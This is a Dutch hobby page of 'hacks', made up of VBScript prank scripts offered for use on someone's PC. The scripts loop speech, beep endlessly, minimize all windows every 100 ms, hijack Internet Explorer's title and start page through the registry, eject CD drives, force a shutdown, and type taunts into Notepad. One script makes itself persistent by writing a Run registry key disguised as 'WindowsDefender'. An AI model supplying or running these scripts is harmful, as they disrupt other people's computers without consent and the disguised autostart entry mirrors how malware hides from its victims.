hackjes

Hack

Laat je PC een irritant liedje zingen SUPERTIP!

Dit is een geniaal stukje code. De text die je hier ziet staan zal opgenoemd worden door Microsoft Sam, de computer's stem! Probeer het uit.

Do
StrText=("I know a song that gets on everybodys nerves everybodys nerves everybodys nerves")
strText2=("I know a song that gets on everybodys nerves and this is how it goes")
set ObjVoice = CreateObject("SAPI.SpVoice")
ObjVoice.Speak StrText
ObjVoice.Speak StrText2
Loop

Minimalizeer al je openstaande schermen TIP!

Dit is verschrikkelijk irritant. Elke 100 milliseconden worden al je schermen geminimaliseerd!
Do
Set WSHShell = WScript.CreateObject("WScript.Shell")
set shell = wscript.CreateObject("Shell.Application" )
wscript.sleep 100
Shell.MinimizeAll
Loop

Start het script elke keer op als de pc opstart TIP!

Dim ditscript
Set WshShell = WScript.CreateObject("WScript.Shell")
ditscript=Wscript.ScriptFullName
WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", ditscript, "REG_SZ"

Verander de titelbalk in Internet Explorer

Waarschijnlijk staat er nu iets als: 'PAGINATITEL - Microsoft Internet Explorer'. Dat laatste stukje kan je zo veranderen!

Option Explicit
Dim WSHShell, n, MyBox, p, p1, cn
Set WSHShell = WScript.CreateObject("WScript.Shell")
p = "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title"
p1 = "HKLM\Software\Microsoft\Internet Explorer\Main\Window Title"
cn="PLAATS HIER DE TEXT DIE JE WILT NEERZETTEN."
WSHShell.RegWrite p, cn
WSHShell.RegWrite p1, cn

Verander de startpagina in Internet Explorer

Via dit script kan je de startpagina van Internet Explorer veranderen.

Option Explicit
Dim WSHShell, n, MyBox, p, p1, cn
Set WSHShell = WScript.CreateObject("WScript.Shell")
p = "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page"
p1 = "HKLM\Software\Microsoft\Internet Explorer\Main\Start Page"
cn="hier de startpagina. (bijv www.porno.nl)"
WSHShell.RegWrite p, cn
WSHShell.RegWrite p1, cn

Hele irritante piep die niet stopt!

PAS OP - Dit script gaat echt door totdat je je PC opnieuw opstart, of als je het proces 'wscript.exe' afsluit.

Set oWS = WScript.CreateObject("WScript.Shell")
do
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
loop

CD / DVD speler open en dicht laten gaan

Werkt eigenlijk alleen op gewone dvd / cd spelers. Niet die dingen van je laptop die open klappen. Geeft wel een leuk effect!

Dim oWMP
Dim colCDROMs, i
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
oWMP.close
Set colCDROMs = Nothing
Set oWMP = Nothing

Windows laten afsluiten

Windows sluit gewoon af. Best grappig!

Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next

Kladblok die uit zichzelf typt

Lijkt net alsof er iemand anders op je pc zit!

Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("notepad.exe")
WScript.Sleep 1000
WshShell.SendKeys "O"
WScript.Sleep 500
WshShell.SendKeys "M"
WScript.Sleep 500
WshShell.SendKeys "G{enter}"
WScript.Sleep 1000
WshShell.SendKeys "Ik "
WScript.Sleep 200
WshShell.SendKeys "own "
WScript.Sleep 150
WshShell.SendKeys "je!"

Als je zelf text wilt toevoegen moet je de laatste 2 regeltjes kopieren en gewoon eronder plakken, en je eigen text intypen. Het getal staat voor de tijd in milliseconden dat er gewacht word. {enter} werkt als enter.